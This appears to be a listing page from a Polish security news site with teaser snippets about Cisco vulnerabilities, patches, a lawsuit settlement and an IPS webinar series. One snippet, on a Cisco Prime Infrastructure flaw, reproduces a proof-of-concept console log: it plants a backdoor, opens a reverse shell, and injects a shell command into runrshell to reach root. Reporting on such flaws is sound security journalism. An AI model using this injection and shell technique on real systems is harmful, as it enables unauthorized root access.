Niedawno informowaliśmy o uruchomieniu nowego, ciekawego programu SecUniversity. W kolejnym odcinku mowa będzie o systemach IPS (Intrusion Prevention Systems). Firma Cisco już wiele lat temu postawiła na lubianego, opensource-owego Snorta, którego uzupełnia o dodatkowe, przydatne komponenty. No właśnie pamiętajcie, że kompletne rozwiązanie IPS (ewentualnie w pasywnym trybie – IDS) to poza…
Czytaj dalej »
Cały cykl, któremu mocno kibicujemy, to aż siedem spotkań, na które możecie zapisać się tutaj. Pierwsze spotkanie odbędzie się już 21. października – podczas którego Artur Czerwiński – CTO Cisco Polska – wprowadzi w cały cykl, wspominając jednocześnie jak na aktualne problemy bezpieczeństwa patrzy firma Cisco. Całość w nawiązaniu do tzw….
Czytaj dalej »
Tym razem mamy do czynienia z podatnoscią klasy Path Traversal: A vulnerability in the web services interface of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to conduct directory traversal attacks and obtain read and delete access to sensitive…
Czytaj dalej »
Jeśli ktoś choćby pobieżnie zna sprzęt Cisco, na pewno kojarzy protokół Cisco Discovery Protocol (CDP) – działa na switchach, routerach, telefonach IP… (w tych ostatnich w ogóle się nie da go wyłączyć). Tymczasem wykryto możliwość zdalnego wykonania kodu (RCE) – w wielu przypadkach jako root(!) i/lub DoS w takich urządzeniach: Cisco FXOS, IOS…
Czytaj dalej »Dość szczegółowy opis dostępny jest tutaj. Różne podatności występują w obu „wirtualnych” urządzeniach udostępnianych przez producenta (zarówno dla Windows jak i w przypadku Linuksa). Cisco w opisie łaty (jest ich kilka) pisze np. tak: Multiple vulnerabilities in the authentication mechanisms of Cisco Data Center Network Manager (DCNM) could allow an unauthenticated, remote…
Czytaj dalej »
Dostarczasz wrażliwy system ze znanymi ci istotnymi podatnościami. Powinieneś ponieść odpowiedzialność? Tak? Nie? Zazwyczaj nie, choć ta sprawa rzuca nieco odmienne światło na tego typu problemy: Cisco Systems agreed on Wednesday to pay $8.6 million to settle claims that it sold video surveillance technology that it knew had a significant…
Czytaj dalej »Świeża analiza w tym miejscu. Po zautomatyzowanej analizie firmware urządzenia Cisco SG250 Smart Switch badaczy frapowało pytanie „kim jest tajemniczy gary.wu1(at)huawei.com ?” widoczny na jednym z certyfikatów (warto zauważyć, że do certyfikatu udało się również znaleźć klucz prywatny): Badacze zgłosili tę ciekawostkę do Cisco, które opublikowało stosowną informację. Tutaj z kolei…
Czytaj dalej »Łata od Cisco tutaj. Krytyczność podatności to aż 9.8/10 w skali CVSS. Ale możliwość uzyskania dostępu na system operacyjny i później łatwa eskalacja uprawnień do roota to jest coś. Działanie dostępnego już exploitu:
|
1 2 3 4 5 6 7 8 9 10 11 12 |
$ ./poc.py 192.168.100.123 192.168.100.2:4444 (+) planted backdoor! (+) starting handler on port 4444 (+) connection from 192.168.100.123 (+) pop thy shell! python -c 'import pty; pty.spawn("/bin/bash")' [prime@piconsole CSCOlumos]$ /opt/CSCOlumos/bin/runrshell '" && /bin/sh #' /opt/CSCOlumos/bin/runrshell '" && /bin/sh #' sh-4.1# /usr/bin/id /usr/bin/id uid=0(root) gid=0(root) groups=0(root),110(gadmin),201(xmpdba) context=system_u:system_r:unconfined_java_t:s0 sh-4.1# exit |
Jaka jest istota podatności? Mamy tutaj dwa problemy – pierwszy to możliwość anonimowego uploadu spakowanego do .tar…
Czytaj dalej »Tym razem mamy zahardkodowany klucz ssh umożliwiający na zdalny dostęp na roota. Co konkretnie jest podatne? Cisco pisze: A vulnerability in the SSH key management for the Cisco Nexus 9000 Series Application Centric Infrastructure (ACI) Mode Switch Software could allow an unauthenticated, remote attacker to connect to the affected system…
Czytaj dalej »Ogólna informacja tutaj. Co jest wymagane? 1. Podatna wersja klienta (uwaga: podatności prawdopodobnie nie da się wykorzystać na Windows 10). 2. Dowolne konto lokalne (lub dowolne konto domenowe) Co osiągamy? Wykonanie dowolnego kodu z uprawnieniami SYSTEM na komputerze gdzie działa WebEx. Czyli przykładowo – mam dowolne konto domenowe, skanuję teraz…
Czytaj dalej »
W tekście opisany jest błąd CVE-2018-0296 – upubliczniony 6 czerwca przez Cisco; dotyczący urządzeń Cisco ASA. Oficjalnie podatność została zaklasyfikowana jako Denial Of Service, choć nasze zgłoszenie dotyczyło innego typu błędu…
Czytaj dalej »Zacznijmy od cytatu: The vulnerability is due to an undocumented user account with privilege level 15 that has a default username and password. An attacker could exploit this vulnerability by using this account to remotely connect to an affected device. A successful exploit could allow the attacker to log in…
Czytaj dalej »Cisco załatało niedawno co najmniej dwa krytyczne błędy, jeden z nich to zahardcowane hasło na ssh w: Cisco Prime Collaboration Provisioning. Wprawdzie nie daje ono roota, ale istnieje też możliwość podniesienia uprawnień. Drugi problem to już bezpośrednia możliwość dostępu na roota (przecież web serwer musi pracować z uprawnieniami root, prawda? :)…
Czytaj dalej »Cisco właśnie wypuściło łatę na podatność CVE-2018-0101: A vulnerability in the Secure Sockets Layer (SSL) VPN functionality of the Cisco Adaptive Security Appliance (ASA) Software could allow an unauthenticated, remote attacker to cause a reload of the affected system or to remotely execute code. Jak widzicie wyżej – luka otrzymała maksymalną…
Czytaj dalej »Cisco załatało właśnie kilka podatności w obsłudze popularnego protokołu SNMP. Podatna jest obsługa wszystkich wersji – SNMP v1, v2c oraz v3: The Simple Network Management Protocol (SNMP) subsystem of Cisco IOS and IOS XE Software contains multiple vulnerabilities that could allow an authenticated, remote attacker to remotely execute code on an affected system…
Czytaj dalej »